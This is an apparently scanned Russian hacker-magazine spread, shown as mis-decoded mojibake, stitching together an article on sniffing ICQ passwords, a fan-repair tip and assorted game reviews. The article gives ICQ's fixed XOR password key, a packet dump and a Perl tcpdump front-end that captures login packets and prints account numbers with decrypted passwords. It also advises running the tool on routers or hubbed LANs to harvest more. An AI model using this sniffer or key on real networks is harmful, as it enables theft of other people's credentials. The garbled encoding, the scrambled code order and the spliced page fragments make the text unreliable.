0x0000 4500 00af 0701 4000 8006 7c37 c0a8 ae02 E.....@...|7....<br />
0x0010 400c c859 0427 1446 001b 367c 4530 25f2 @..Y.'.F..6|E0%.
0x0020 5018 2526 11d0 0000 2a01 7aa9 0081 0000 P.%&....*.z.....<br />
0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.<br />
0x0040 0200 03c2 14b2 0003 0033 4943 5120 496e .........3ICQ.In<br />
0x0050 632e 202d 2050 726f 6475 6374 206f 6620 c..-.Product.of.<br />
0x0060 4943 5120 2854 4d29 2e32 3030 3062 2e34 ICQ.(TM).2000b.4<br />
0x0070 2e36 302e 312e 3332 3738 2e38 3500 1600 .60.1.3278.85...<br />
0x0080 0201 0a00 1700 0200 0400 1800 0200 3c00 ..............
Êîäèíã<br />
ÏÅÐÅÕÂÀÒ ICQ ÏÀÐÎËÅÉ<br />
Êîíñòàíòèí Êëÿãèí http://konst.org.ua<br />
Íå çàáóäåì çàïèñàòü òåêñò ïðîãðàììû â ôàéë è âûïîëíèòü "chmod +x ",<br />
÷òîáû â èòîãå äàòü ïðàâà äëÿ åãî çàïóñêà.<br />
Âñå âåðíî, ïàðîëè øèôðóþòñÿ ïðè ïîìîùè XOR ñ îäíîé è òîé æå ìàñêîé. Âîò âûâîä:<br />
rightpass2 = abcd<br />
rightpass3 = 123<br />
xor sequence: \xf3\x26\x81\xc4\x39\x86<br />
Òàêîé ôèíò óøàìè ïîçâîëèë íàì âûÿñíèòü ïîçèöèîííî-çàâèñèìûå ÷èñëà, èñïîëüçóåìûå<br />
äëÿ îïåðàöèè xor ñ øåñòüþ ïåðâûìè ñèìâîëàìè. Äëÿ ðàñøèôðîâêè ïàðîëåé ëþáîé<br />
äëèíû, âïëîòü äî ìàêñèìàëüíîé, ïîñìîòðèì íà ëîãèí-ïàêåò, ñîäåðæàùèé âîñüìèñèìâîëüíûé<br />
ïàðîëü (ICQ äëÿ Windows íå äàåò ââîäèòü áîëüøå âîñüìè ñèìâîëîâ).<br />
Ñëåäóÿ óæå ïðèâû÷íîé ñõåìå, ïîäñòàâèì åãî â òåêñò ïðîãðàììû (ïåðåìåííàÿ<br />
$pass1), à ðàñøèôðîâàííûé âàðèàíò - â $rightpass1. Èòîã - ïîñëåäîâàòåëüíîñòü áàéò<br />
"\xf3\x26\x81\xc4\x39\x86\xdb\x92". Çíàÿ åå, ìîæíî ëåãêî ðàñøèôðîâàòü ëþáîé ICQïàðîëü.<br />
Çíàíèå - ñèëà :).<br />
Ñîáñòâåííî è ñàì ñíèôåð ICQ-ïàðîëåé<br />
Îáû÷íî íàïèñàíèå êàêîãî-òî ñïåöèôè÷åñêîãî ñíèôåðà, îñîáåííî â ïåðâûé ðàç - çàíÿòèå<br />
íå èç ëåãêèõ. Âåäü ïðåæäå âñåãî íóæíî ðàçîáðàòüñÿ â ñèñòåìíûõ âûçîâàõ, ïðåäíàçíà÷åííûõ<br />
äëÿ óïðàâëåíèÿ ñåòåâûìè èíòåðôåéñàìè. Çàòåì íàïèñàòü íàáîð ôóíêöèé<br />
äëÿ âû÷èòûâàíèÿ ïðîõîäÿùåãî òðàôèêà, ôèëüòðóÿ ïðè ýòîì òîëüêî íóæíûå ïàêåòû<br />
ïî îïðåäåëåííûì ïðèçíàêàì. Ìîæíî âçÿòü áèáëèîòåêó libpcap è íà÷àòü ðàçáèðàòüñÿ<br />
ñ íåé. Òîò åùå íàïðÿã. Òàêîé ïîäõîä ìîæåò èñïîðòèòü âñå âïå÷àòëåíèå îò ñíèôèíãà<br />
êàê òàêîâîãî è ðàñòÿíóòü ïðîöåññ íàïèñàíèÿ íà íåîïðåäåëåííîå âðåìÿ. Ïîýòîìó<br />
ìû ïîñòóïèì íåñêîëüêî èíà÷å.<br />
Âçàìåí ïðåäëàãàåòñÿ èñïîëüçîâàòü çíàêîìûé ñòàíäàðòíûé è óäîáíûé èíñòðóìåíò<br />
- tcpdump, êîòîðûé ñîäåðæèò â ñåáå âñå íåîáõîäèìûå ôóíêöèè äëÿ ïåðåõâàòà<br />
òðàôèêà. Íàì äàæå íå ïðèäåòñÿ êîïàòüñÿ â åãî èñõîäíèêàõ. Äåëî â òîì, ÷òî<br />
ñ ïîìîùüþ îäíîãî ïîëåçíîãî ïàðàìåòðà êîìàíäíîé ñòðîêè (-w) ìîæíî ñäåëàòü<br />
òàê, ÷òî âåñü íóæíûé òðàôèê áóäåò âûâîäèòüñÿ â âèäå ïîòîêà â ôàéë èëè íà ñòàíäàðòíîå<br />
óñòðîéñòâî âûâîäà (òåðìèíàë). Àáñîëþòíî íåïðèåìëåìî äëÿ ïðîñìîòðà<br />
"âðó÷íóþ", ãäå ðåæèì hex âûãëÿäèò ãîðàçäî ïðèÿòíåå, íî äëÿ àâòîìàòè÷åñêîãî<br />
àíàëèçà - ñàìîå îíî.<br />
Òî, ÷òî ìû íàïèøåì, áóäåò ïðîãðàììîé-íàäñòðîéêîé íàä tcpdump, ÷èòàþùåé âûâîä<br />
ïîñëåäíåãî. Áóðæóè íàçûâàþò ýòî front-end. Ïðè îáíàðóæåíèè ëîãèí-ïàêåòà,<br />
ñîäåðæèìîå åãî áóäåò ðàçîáðàíî, è ïàðà UIN/ïàðîëü "âûêóøåíà" è ïîêàçàíà.<br />
Îïÿòü æå, ÿçûê ðåàëèçàöèè âûáåðåì ïî ïðèçíàêó óäîáñòâà àíàëèçà ñòðîê - Perl.<br />
Áëàãîäàðÿ ïîääåðæêå ðåãóëÿðíûõ âûðàæåíèé, "îòëîâ" ïàêåòà â íåì áóäåò çàíèìàòü<br />
âñåãî îäíó ñòðî÷êó.<br />
Ãîòîâûé ñíèôåð çàíèìàåò 37 ñòðîê. Êðàòêèé îáçîð åãî æèçíåäåÿòåëüíîñòè:<br />
1. open(DUMP, ..) çàïóñêàåò tcpdump ñ íóæíûìè íàì ïàðàìåòðàìè. Ñèìâîë "|" â êîíöå<br />
êîìàíäû ãîâîðèò, ÷òî âûâîä ïðîãðàììû áóäåò ïåðåíàïðàâëåí è àññîöèèðîâàí ñ<br />
ñèìâîëîì DUMP, êîòîðûé âåäåò ñåáÿ êàê îáû÷íûé ôàéë, îòêðûòûé íà ÷òåíèå. Åñëè<br />
çàïóñê íå óäàëñÿ, êîíñòðóêöèÿ "or die" çàâåðøèò âûïîëíåíèå ïðîãðàììû ñ óêàçàííûì<br />
ñîîáùåíèåì îá îøèáêå.<br />
2. Âåñü ïðîöåññ âûïîëíÿåòñÿ âíóòðè öèêëà while(!eof(DUMP)) - ïîêà íå çàâåðøèòñÿ<br />
ïðîãðàììà, êîòîðàÿ çàêðîåò çà ñîáîé è ïîòîê DUMP.<br />
3. Ïîòîê âû÷èòûâàåòñÿ ïîñèìâîëüíî ñ ïîìîùüþ ôóíêöèè getc(). Âñå ïîëó÷åííûå áàéòû<br />
ñêëàäûâàþòñÿ â áóôåð - $buf. Êàê òîëüêî â íåì îáíàðóæèâàåòñÿ ëîãèí-ïàêåò, ñðàáàòûâàåò<br />
if(), êîòîðûé ïðîâåðÿåò ñîîòâåòñòâèå íàêîïëåííîé ïîñëåäîâàòåëüíîñòè ðåãóëÿðíîìó<br />
âûðàæåíèþ, ïîñòðîåííîìó íà îñíîâå ñîáðàííîé íàìè âûøå èíôîðìàöèè<br />
î ïðîòîêîëå. "Ïðèâÿçûâàåòñÿ" îíî ê ñèãíàòóðå â êîíöå è ê íåèçìåííûì áàéòàì â íà-<br />
÷àëå ïàêåòà, çà êîòîðûìè ñëåäóåò UIN.<br />
"\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ<br />
\(TM\)$"<br />
4. Âçÿòûå â ñêîáêè ÷àñòè âûðàæåíèÿ àâòîìàòè÷åñêè ïîìåùàþòñÿ â ïîçèöèîííî-çàâèñèìûå<br />
ïåðåìåííûå $1 è $2. UIN è ïàðîëü ó íàñ â êàðìàíå. Äëÿ ðàñøèôðîâêè ïîñëåäíåãî<br />
èìååòñÿ íåáîëüøàÿ ôóíêöèÿ decryptpassword(), íàïèñàííàÿ ïî ìîòèâàì íàøèõ<br />
ýêñïåðèìåíòîâ ñ xor âî âðåìÿ ðàçáîðà ñòðóêòóðû ïðîòîêîëà.<br />
5. Ïîñëå ïîêàçà îòëîâëåííîãî ïàðîëÿ, áóôåð î÷èùàåòñÿ è çëîáíûé ñíèôåð ïðîäîëæàåò<br />
ðàáîòó, ëèøàÿ çàêîíîïîñëóøíûõ ãðàæäàí ïðèâàòíîñòè è âåðû â ñïðàâåäëèâîñòü.<br />
Ðàçáîð ïîëåòîâ<br />
Ïî áîëüøîìó ñ÷åòó ïðîäåìîíñòðèðîâàííûé ïîäõîä ê àíàëèçó ñåòåâîãî òðàôèêà ìîæíî<br />
ïðèìåíèòü ïî îòíîøåíèþ ê ëþáîìó ïðîòîêîëó. Ñ ïîìîùüþ ïîäîáíûõ íàäñòðîåê<br />
ìîæíî îòëàâëèâàòü íå òîëüêî ïàðîëè, íî è ñîîáùåíèÿ, êîíòàêòû, øèôðîâêè, ÿâêè è<br />
àäðåñà êîíñïèðàòèâíûõ êâàðòèð. Âñå, î ÷åì íóæíî ïîçàáîòèòüñÿ, ýòî ïðàâèëüíîå ðåãóëÿðíîå<br />
âûðàæåíèå è ïàðàìåòð-óñëîâèå äëÿ tcpdump.<br />
Äëÿ äîñòèæåíèÿ õîðîøèõ ðåçóëüòàòîâ, âåëè÷èíà êîòîðûõ ïðÿìî ïðîïîðöèîíàëüíà êîëè-<br />
÷åñòâó îòëîâëåííûõ ïàðîëåé, ïðîãðàììó æåëàòåëüíî çàïóñêàòü íà ìàøèíàõ, âûïîëíÿþùèõ<br />
â ñåòè ðîëü ðîóòåðà, è ÷åðåç êîòîðûå ïðîõîäèò ìàêñèìàëüíûé ñåòåâîé òðàôèê. Ñ äðóãîé<br />
ñòîðîíû, ïðè îïðåäåëåííîé êîíôèãóðàöèè âíóòðåííåé èíòðàíåò-ñåòè, ñíèôåð ìîæíî<br />
ïîñòàâèòü ïðîñòî íà îäíîé èç ìàøèí, è îí òîæå áóäåò íåïëîõî ñïðàâëÿòüñÿ ñî ñâîåé ðàáîòîé,<br />
òàê êàê âåñü òðàôèê áóäåò äîñòóïåí íà ñåòåâîì èíòåðôåéñå êàæäîé<br />
èç ðàáî÷èõ ñòàíöèé â ñåòè. Òàêîå ïðîèñõîäèò òîëüêî â òîì ñëó÷àå, åñëè âñå<br />
ðàáî÷èå ñòàíöèè è øíóð îò ISP çàâÿçàíû äðóã ñ äðóãîì ÷åðåç HUB. Òàê ÷òî<br />
ýêñïåðèìåíòèðóé, íàõîäè íîâûå ìåòîäû àíàëèçà òðàôèêà!<br />
84<br />
#!/usr/bin/perl<br />
sub decryptpassword {<br />
my ($pass) = @_;<br />
}<br />
my $res = "";<br />
my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";<br />
for(my $i = 0; $i < length($pass); $i++) {<br />
$res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));<br />
}<br />
return $res;<br />
my $buf;<br />
open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|")<br />
or die "cannot run tcpdump(8)";<br />
while(!eof(DUMP)) {<br />
$buf .= getc(DUMP);<br />
if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ<br />
Inc. - Product of ICQ \(TM\)$/) {<br />
my $uin = $1;<br />
my $pass = decryptpassword($2);<br />
}<br />
}<br />
close(DUMP);<br />
print "found. $uin :: $pass\n";<br />
$buf = "";<br />
Tips&Tricks<br />
×òî äåëàòü, åñëè øóìèò<br />
âåíòèëÿòîð?<br />
Ñîâåò ïåðâûé. Ñàìûé òðèâèàëüíûé.<br />
Îòâèíòèòü âåíòèëÿòîð îò<br />
áëîêà ïèòàíèÿ. Ñíÿòü íàêëåéêó.<br />
Ïî÷èñòèòü îò ïûëè è çàëèòü æèäêîå<br />
ìàøèííîå ìàñëî (òîëüêî íå<br />
ïîäñîëíå÷íîå), íå çàáûòü ïî÷èñòèòü<br />
ìåæäó ïðîïåëëåðîì è êîðïóñîì.<br />
Ìàñëà íàëèòü íå âåäðî, à<br />
íåñêîëüêî êàïåëü. Èíîãäà áûâàåò,<br />
÷òî âèíò ñòó÷èò î êîðïóñ, òîãäà<br />
ëîïàñòè ìîæíî ÷óòîê ïîäïèëèòü.<br />
Ñîâåò âòîðîé. Ñàìûé ïðàêòè÷íûé.<br />
Íè÷åãî îòâèí÷èâàòü íå íàäî.<br />
Íàäî âçÿòü øïðèö ñ èãîëêîé.<br />
Íàïîëíèòü åãî ìàñëîì. Ïîòîì<br />
íàäî èãîëêîé ïðîòêíóòü íàêëåéêó<br />
è ïëàñòìàññîâóþ ïðîáêó ïîä íåé.<br />
Ïîíàäîáèòñÿ íåêîòîðîå óñèëèå.<br />
Ââåñòè ïîä ïðîáêó ìàñëî. Âñå.<br />
Íèêàêèõ âèíòîâ-ðàçáîðîê-ñáîðîê<br />
è âñåãî ïðî÷åãî. Ðàçóìååòñÿ, ýòî<br />
ñðàáîòàåò íå âî âñåõ ñëó÷àÿõ.<br />
Áûâàåò, ÷òî ñåðåäèíêà âåíòèëÿòîðà<br />
ñ íàêëåéêîé è ïðîáêîé<br />
ñêðûòà ïîä ðåøåòêîé êîðïóñà. Â<br />
ýòîì ñëó÷àå ìîæíî ïîïðîáîâàòü<br />
îòâèíòèòü òîëüêî áëîê ïèòàíèÿ -<br />
ýòî ïðîùå, ÷åì ðàçáèðàòü âñå,<br />
âïëîòü äî âåíòèëÿòîðà.<br />
Åâãåíèé Çàòîëîêèí<br />
Evgen_shrek@mail.ru<br />
Õî÷åøü óâèäåòü ñâîè ñîâåòû â<br />
æóðíàëå? Ïðèñûëàé èõ íà àäðåñ<br />
Sklyarov@real.xakep.ru. Âåäóùèé<br />
ðóáðèêè Tips&Tricks Èâàí Ñêëÿðîâ.
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Þíèòû<br />
ÇÀË ÑÓÄÀ<br />
Stepan Ilyin aka Step (step@real.xakep.ru)<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ßäåðíûé òèòáèò<br />
Armored Assault<br />
Online òàíêîâûé ñèìóëÿòîð<br />
Òàêîãî åùå íå áûëî :)<br />
The Total Sim Series/<br />
iEntertainment Network<br />
P2-400(P3-600), 128(256), 3D<br />
Èíåò<br />
Îíëàéíîâûé òàíêîâûé ñèìóëÿòîð -<br />
ïîæàëóé, òàêîãî ìû åùå íå âèäåëè.<br />
Èäåÿ íåïëîõàÿ, íî âîò ðåàëè-<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
Eternal War: Shadows of lights<br />
FPS<br />
Quake, Heretic<br />
Two Guys Software<br />
P166(P2-300), 64(128)<br />
LAN, Èíåò<br />
Íåóäà÷íàÿ êîìáèíàöèÿ Quake’à<br />
è Heretic’à. Íà÷èíàÿ èãðó, íåâîëüíî<br />
çàäóìûâàåøüñÿ: «Ìîæåò,<br />
êòî-òî îøèáñÿ è ïîäñóíóë<br />
ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />
Adventure<br />
ÃÝÃ<br />
VZ.lab/Áóêà<br />
P2-400(P3-800), 128(256), 3D<br />
Îáîìèñü<br />
Ïðåêëîíèì ãîëîâû ïåðåä Âåëè÷àéøèì<br />
Ãóìàíèñòîì Âñåõ Âðåìåí è Íàðîäîâ<br />
èáî åãî Äåòèùå ïðèøëî â ýòîò<br />
ìèð. ßäåðíûé Òèòáèò îò íåñðàâíåí-<br />
ÏÐÈÃÎÂÎÐ ÀËËÈËÓÉß!<br />
Splinter Cell<br />
Praetoreans<br />
RTS<br />
WH: Dark Omen, Medieval<br />
Pyro Studios/Eidos Interactive<br />
P3-500(P3-800), 128(256), 3D<br />
LAN, Èíåò<br />
Ðàçðàáîò÷èêè ãðîçèëèñü ïðåäñòàâèòü<br />
íàì òàêòè÷åñêèé ñèìóëÿòîð,<br />
ïîîáåùàâ èãðîêàì ïîëíîå<br />
èçáàâëåíèå îò ìèêðîìåíåäæ-<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
Øóòåð îò 3-ãî ëèöà<br />
Thief, Metal Gear Solid<br />
Ubi Soft Montreal/Ubi Soft<br />
P3-800, 256(512), 3D<br />
Îáëîìèñü<br />
Splinter Cell - ïðèÿòíûé ñþðïðèç<br />
íà èãðîâîé ñöåíå. Òàêîé êà-<br />
÷åñòâåííîé ðåàëèçàöèè øïèîíñêîãî<br />
ñèìóëÿòîðà, ïîæàëóé, íå<br />
ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />
íîãî, íåïîäðàæàåìîãî è íåèçëå÷èìî<br />
áîëüíîãî Äàíè Øåïîâàëîâà ýòî òî,<br />
÷òî ñîðâåò òåáå êðûøó ðàç è íàâñåãäà.<br />
Ñþæåò, äâèæîê è ïðî÷èå îñîáåííîñòè<br />
îïèñûâàòü áåññìûñëåííî: âåäü<br />
òû âñå ðàâíî êóïèøü ýòó èãðó. Ïîòîìó<br />
÷òî òîëüêî íàëè÷èå ýòîãî ñâÿùåííîãî<br />
äèñêà ïîñëóæèò òåáå áèëåòîì â<br />
æèçíü, êîãäà çåìëþ çàõâàòÿò èíòåëëåêòóàëüíûå<br />
íåéðî-êèáîðãè.<br />
ìíå íåóäà÷íóþ èãðóøêó âîñüìèëåòíåé<br />
äàâíîñòè?» Ïî êðàéíåé<br />
ìåðå, âñå óêàçûâàåò èìåííî<br />
íà ýòî. Äâèæîê, ãðàôèêà, êà-<br />
÷åñòâî çâóêà - âñå íà óðîâíå<br />
ïðîøëîãî âåêà. Äîáàâü ê ýòîìó<br />
òóïåéøèé ñòîðèëàéí, ðàñêðûâàþùèéñÿ<br />
â äåñÿòè ñòðî÷êàõ òåêñòà,<br />
è æåëàíèå èãðàòü ïðîïàäåò<br />
íàïðî÷ü.<br />
æäàë íèêòî. Çäåñü è êðàñèâûé<br />
äâèæîê, è îòëè÷íûé ñöåíàðèé,<br />
êîòîðûé ïðåäóñìàòðèâàåò íåñêîëüêî<br />
ñïîñîáîâ ïðîõîæäåíèÿ<br />
êàæäîé ìèññèè, è íåâåðîÿòíî<br />
óäîáíîå óïðàâëåíèå. Ñëàáîå<br />
ìåñòî èãðû - âèäåîðîëèêè, íî<br />
äàæå èõ ïîõàáíàÿ ðåàëèçàöèÿ<br />
íå ïîðòèò îáùåå âïå÷àòëåíèå<br />
îò èãðû.<br />
çàöèÿ ÿâíî ïîäêà÷àëà. Íåñìîòðÿ<br />
íà òî, ÷òî ðàçðàáîò÷èêè âîñïðîèçâåëè<br />
ëèøü îäèí êëàññ òàíêîâ, ëèäåð<br />
ñðåäè íèõ ÷åòêî âûäåëÿåòñÿ,<br />
ñîîòâåòñòâåííî íà äðóãèõ òàíêàõ<br />
åçäÿò ëèøü íåîïûòíûå íîâè÷êè.<br />
Óïðàâëåíèå ðåàëèçîâàíî óæàñíî:<br />
öåëèòüñÿ, äàæå ñ ïîìîùüþ äæîéñòèêà,<br />
î÷åíü ñëîæíî. À ìîäåìíîãî<br />
êàíàëà äëÿ èãðû ÿâíî íå õâàòàåò...<br />
ìåíòà è ðåñóðñîâ. Îäíàêî ïîëó-<br />
÷èëîñü ÷òî-òî ñòðàííîå. Îñòàëèñü<br />
è ðåñóðñû, è ïåðñîíàëüíûå<br />
óêàçàíèÿ þíèòàì, à âîò ýëåìåíòû<br />
òàêòèêè íå âïå÷àòëÿþò. Þíèòîâ<br />
ñëèøêîì ìíîãî, ÷òîáû èìè<br />
îñìûñëåííî óïðàâëÿòü. Òåì íå<br />
ìåíåå, ïëîõîé èãðó íå íàçîâåøü.<br />
Âñå íà óðîâíå, îñîáåííî<br />
ãðàôèêà.<br />
86 Íüþñû 1<br />
Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
÷òî ìû óæå âèäåëè. Íè êàïëè<br />
ôàíòàçèè. Èç íîâåíüêîãî: íåñêîëüêî<br />
ëèíåéíûõ êàìïàíèé, íå<br />
îòëè÷àþùèõñÿ ðàçíîîáðàçèåì, è<br />
ïàðî÷êà íèêîìó íå íóæíûõ ãðà-<br />
Indusry Giant II: 1820-2020 Addon<br />
ôèêîâ è äèàãðàìì â ðàçäåëå<br />
«Ýêîíîìèêà». Ñîâåòóþ òîëüêî<br />
Ýêîíîìè÷åñêèé ñèìóëÿòîð<br />
Industry Giant 2<br />
JoWood Productons/Ðóññîáèò-Ì<br />
P2-400(P3-600), 64(128), 3D<br />
LAN, Èíåò<br />
Åùå îäèí ïðèìåð òîãî, êàê ðàçðàáîò÷èêè<br />
ñòðåìÿòñÿ äåëàòü<br />
äåíüãè, ïðèëîæèâ ìèíèìóì óñèëèé<br />
è çàñòàâëÿÿ íàñ èãðàòü â òî,<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ëþáèòåëÿì æàíðà, åùå íå óñïåâøèì<br />
ïîçíàêîìèòüñÿ ñ ïåðâîé<br />
÷àñòüþ èãðû.<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
áîòó ïî êîëîíèçàöèè ïëàíåò,<br />
ïîñòðîéêå àðìèè, óïðàâëåíèþ<br />
íàó÷íûìè èññëåäîâàíèÿìè íà<br />
ïëå÷è èñêóññòâåííîãî èíòåëëåêòà,<br />
ðàçðàáîò÷èêè ÿâíî ïåðåáîðùèëè.<br />
Áûâàëûå èãðîêè, ìàòåðÿñü,<br />
áîðþòñÿ ñ èäèîòèçìîì AI,<br />
à íîâè÷êè ëèøü æìóò êíîïêó<br />
«Ñëåäóþùèé õîä». È â ÷åì òóò<br />
ïðèêîë?<br />
5 6 7 8<br />
Þíèêñîèä Õ-Ñòèëü Êîäèíã<br />
Master Of Orion 3<br />
Ïîøàãîâàÿ ñòðàòåãèÿ<br />
Ñåðèÿ MoO<br />
Quicksilver Software/Infogrames<br />
P2-300(P3-600), 128(256)<br />
LAN, Èíåò<br />
Îïèñàòü ñèêâåë èçâåñòíåéøåé<br />
èãðû ìîæíî îäíèì ñëîâîì -<br />
ÔÈÃÍß.  ñòðåìëåíèè îáëåã÷èòü<br />
èãðó, âçâàëèâ âñþ ðóòèííóþ ðà-<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ
ÇÀË ÑÓÄÀ<br />
Stepan Ilyin aka Step (step@real.xakep.ru)<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Harbinger<br />
Action/RPG<br />
Crusader, Diablo<br />
Dreamcatcher/Silverback Entertainment<br />
P3-500(P3-800), 128, 3D<br />
Îáëîìèñü<br />
Îáû÷íàÿ, íè÷åì íå âûäåëÿþùàÿñÿ<br />
RPG. Öåëü ãåðîÿ îäíà - âûðåçàòü<br />
íå÷èñòü íà î÷åðåäíîì óðîâíå,<br />
ïîïóòíî âûïîëíèâ êàêîå-íè-<br />
ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Þíèòû<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Freelancer<br />
Ãëàç Äðàêîíà<br />
Action/RPG<br />
Magic Carpet<br />
Primal Soft/Àêåëëà<br />
P3-600(P3-1000), 128(256), 3D<br />
Îáëîìèñü<br />
Ñìåñü àæ òðåõ æàíðîâ. RTS,<br />
âîçäóøíîãî ýêøåíà è ðîëåâèêà<br />
íà ôýíòåçèéíóþ òåìó. Òàêàÿ<br />
âîò ñáîðíàÿ ñîëÿíêà, íà óäèâ-<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
Apache Air Assault<br />
Âåðòîëåòíàÿ ëåòàëêà<br />
SAR: Vietnam MedEvac<br />
InterActive Vision/Activision<br />
P2-400(P3-600), 96(127), 3D<br />
Îáëîìèñü<br />
Óáîãàÿ âåðòîëåòíàÿ ëåòàëêà, ïîÿâèâøàÿñÿ<br />
ÿâíî íå âîâðåìÿ. Äóìàþ,<br />
ëåò ïÿòü íàçàä â íåå åùå ìîæíî<br />
áûëî áû ïîèãðàòü, íî ñåé÷àñ...<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
3D space arcade<br />
Tachyon, Privateer 2<br />
Digital Anvil/Microsoft Game Studios<br />
P3-600(P3-1300), 128(256), 3D<br />
LAN, Èíåò<br />
Î÷åðåäíàÿ àðêàäà íà êîñìè÷åñêóþ<br />
òåìó. Ïåðâîå âïå÷àòëåíèå<br />
îò èãðû - ñóïåð! Îùóùåíèå àòìîñôåðû<br />
ïåðåäàíî áåñïîäîáíî.<br />
ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />
Bovine Spongiforme Enzephalitis<br />
Arcade shooting<br />
Birdie Shoot<br />
Modern Games/Modern Games<br />
P166(P2-266), 32(64), 3D<br />
Îáëîìèñü<br />
Ñîãëàñåí, òåìà êîðîâüåãî áåøåíñòâà<br />
áîëåçíè Êðîéöôåëäòàßêîáà<br />
êîãäà-òî áûëà àêòóàëüíà...<br />
Íî íå íàñòîëüêî æå, ÷òîáû<br />
ÏÐÈÃÎÂÎÐ ÑËÀÁÎ<br />
Çäåñü è îáàëäåííî êðàñèâûå òóìàííîñòè,<br />
è ñâåðõìîùíûå êîðàáëè,<br />
óêîìïëåêòîâàííûå ïî ñàìîå<br />
«íå õî÷ó» òåõíèêîé, î êîòîðîé<br />
ïîêà äàæå è íå ìå÷òàþò.<br />
Òåì íå ìåíåå, õâàòàåò ýòîãî<br />
äîáðà íåíàäîëãî. Íåò èçþìèíêè,<br />
ïîëó÷èëàñü âñåãî ëèøü î÷åðåäíàÿ<br />
èãðà íà îäèí äåíü. À<br />
æàëü...<br />
ëåíèå, âûãëÿäèò âåñüìà äîñòîéíî.<br />
Òåáå (êñòàòè íå êàêîìóòî<br />
òàì ìóæèêó ñ äóáèíîé, à âåëè÷åñòâåííîìó<br />
äðàêîíó) ïðåäñòîèò<br />
çàùèòèòü óìèðàþùåå êîðîëåâñòâî<br />
îò ñèëüíåéøåãî íàòèñêà<br />
íåæèòè. Èãðóøêà ìíå<br />
ëè÷íî î÷åíü ïîíðàâèëàñü. Õîòÿ<br />
äî êîíöà ÿ åå íå ïðîøåë. Íàäîåëî...<br />
:(<br />
áóäü íåîðèãèíàëüíîå çàäàíèå.<br />
Ïîñëåäíèå, â ïðèíöèïå, äðóã îò<br />
äðóãà íå îòëè÷àþòñÿ. Äîñòàâü<br />
ïðåäìåò òóäà, óíè÷òîæü òîãî è<br />
ò.ï. Áåñêîíå÷íàÿ ïàëüáà âî âñå<br />
÷åòûðå ñòîðîíû äî ñàìîãî ôèíàëà<br />
è ìèíèìóì îáùåíèÿ ñ NPC -<br />
òàêîâà ñóðîâàÿ äåéñòâèòåëüíîñòü<br />
èãðû. Ôèãíÿ äëÿ ðåëàêñàöèè, íå<br />
áîëüøå!<br />
Ëó÷øå íå ñòîèò. Íàïðî÷ü çàáûòû<br />
ëþáûå ïîíÿòèÿ îá àýðîäèíàìè÷åñêèõ<br />
äèñöèïëèíàõ. Ìîäåëè âåðòîëåòîâ<br />
èñêîâåðêàíû äî áåçîáðàçèÿ.<br />
Ñþæåò ïðÿìîëèíååí, êàê ðåëüñû<br />
Áàéêàëî-Àìóðñêîé ìàãèñòðàëè -<br />
çàáëóäèòüñÿ ïðàêòè÷åñêè íåâîçìîæíî.<br />
Ïðî äâèæîê è ãîâîðèòü íå<br />
õî÷åòñÿ. Ó íàñ ïåðâîêóðñíèêè òåõíè÷åñêèõ<br />
âóçîâ ëó÷øå ñäåëàþò.<br />
äåëàòü î íåé èãðóøêè. Òåì áîëåå,<br />
êëàññè÷åñêèå ìèíè-øóòåðû.<br />
Ìîæåò êîãî-òî èäåÿ îòñòðåëèâàòü<br />
